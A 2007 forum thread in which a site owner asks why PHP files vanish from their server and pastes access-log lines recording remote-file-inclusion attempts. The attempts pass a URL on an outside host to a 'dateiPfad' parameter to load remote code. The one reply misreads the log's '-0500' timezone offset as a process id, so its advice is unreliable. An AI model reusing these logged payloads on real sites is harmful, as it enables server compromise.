473,396 Members | 1,847 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,396 software developers and data experts.

some script on the server removes my files.

154 100+
Hi my server has some script/s that deletes php files from my server that contail log, so it deletes login.php, logout.php and you know the rest.

When i checked the access.log i saw these lines
127.0.0.1 - - [05/Dec/2007:16:15:22 -0500] "GET /?dateiPfad=http://www.trinitymedia.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:15:43 -0500] "GET /?dateiPfad=http://www.trinitymedia.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:16:24 -0500] "GET /?dateiPfad=http://www.trinitymedia.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:16:25 -0500] "GET /?katID=19//includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:16:25 -0500] "GET /?katID=/includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:22:58 -0500] "GET /?katID=19/online-shops//includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"

is there any commands i could use to locate these files and delete them. Anybody have answers, that could help me out please.
Dec 5 '07 #1
1 1517
ashitpro
542 Expert 512MB
Hi my server has some script/s that deletes php files from my server that contail log, so it deletes login.php, logout.php and you know the rest.

When i checked the access.log i saw these lines
127.0.0.1 - - [05/Dec/2007:16:15:22 -0500] "GET /?dateiPfad=http://www.trinitymedia.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:15:43 -0500] "GET /?dateiPfad=http://www.trinitymedia.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:16:24 -0500] "GET /?dateiPfad=http://www.trinitymedia.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:16:25 -0500] "GET /?katID=19//includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:16:25 -0500] "GET /?katID=/includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
127.0.0.1 - - [05/Dec/2007:16:22:58 -0500] "GET /?katID=19/online-shops//includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"

is there any commands i could use to locate these files and delete them. Anybody have answers, that could help me out please.

I don't know about fields of access.log
But I guess 500 should be process id for that script.
locate it with ps -eLF | grep 500
and find out which process is deleting your files
Jan 22 '08 #2

Sign in to post your reply or Sign up for a free account.

Similar topics

23
by: Loony | last post by:
I have got a code like this in HTML section in ASP file which includes javascript file! The script works under MS IE but doesn't with Firefox! Can anybody tell me what is wrong? <HTML>...
5
by: news | last post by:
I have a new situation I'm facing and could use a suggestion or two, as I don't seem to be able to think in the abstract very well. We have a local server which holds all of our image files. We...
3
by: Shapper | last post by:
Hello, Until now I have been using Dreamweaver to create ASP.Net/VB web sites. I gave up of using it. Too many limitations. What is the best software to create ASP.NET/VB web sites? Maybe...
20
by: mike | last post by:
I help manage a large web site, one that has over 600 html pages... It's a reference site for ham radio folks and as an example, one page indexes over 1.8 gb of on-line PDF documents. The site...
0
by: Charles Arthur | last post by:
How do i turn on java script on a villaon, callus and itel keypad mobile phone
0
by: ryjfgjl | last post by:
In our work, we often receive Excel tables with data in the same format. If we want to analyze these data, it can be difficult to analyze them because the data is spread across multiple Excel files...
0
BarryA
by: BarryA | last post by:
What are the essential steps and strategies outlined in the Data Structures and Algorithms (DSA) roadmap for aspiring data scientists? How can individuals effectively utilize this roadmap to progress...
1
by: nemocccc | last post by:
hello, everyone, I want to develop a software for my android phone for daily needs, any suggestions?
1
by: Sonnysonu | last post by:
This is the data of csv file 1 2 3 1 2 3 1 2 3 1 2 3 2 3 2 3 3 the lengths should be different i have to store the data by column-wise with in the specific length. suppose the i have to...
0
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However,...
0
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...
0
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers,...
0
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.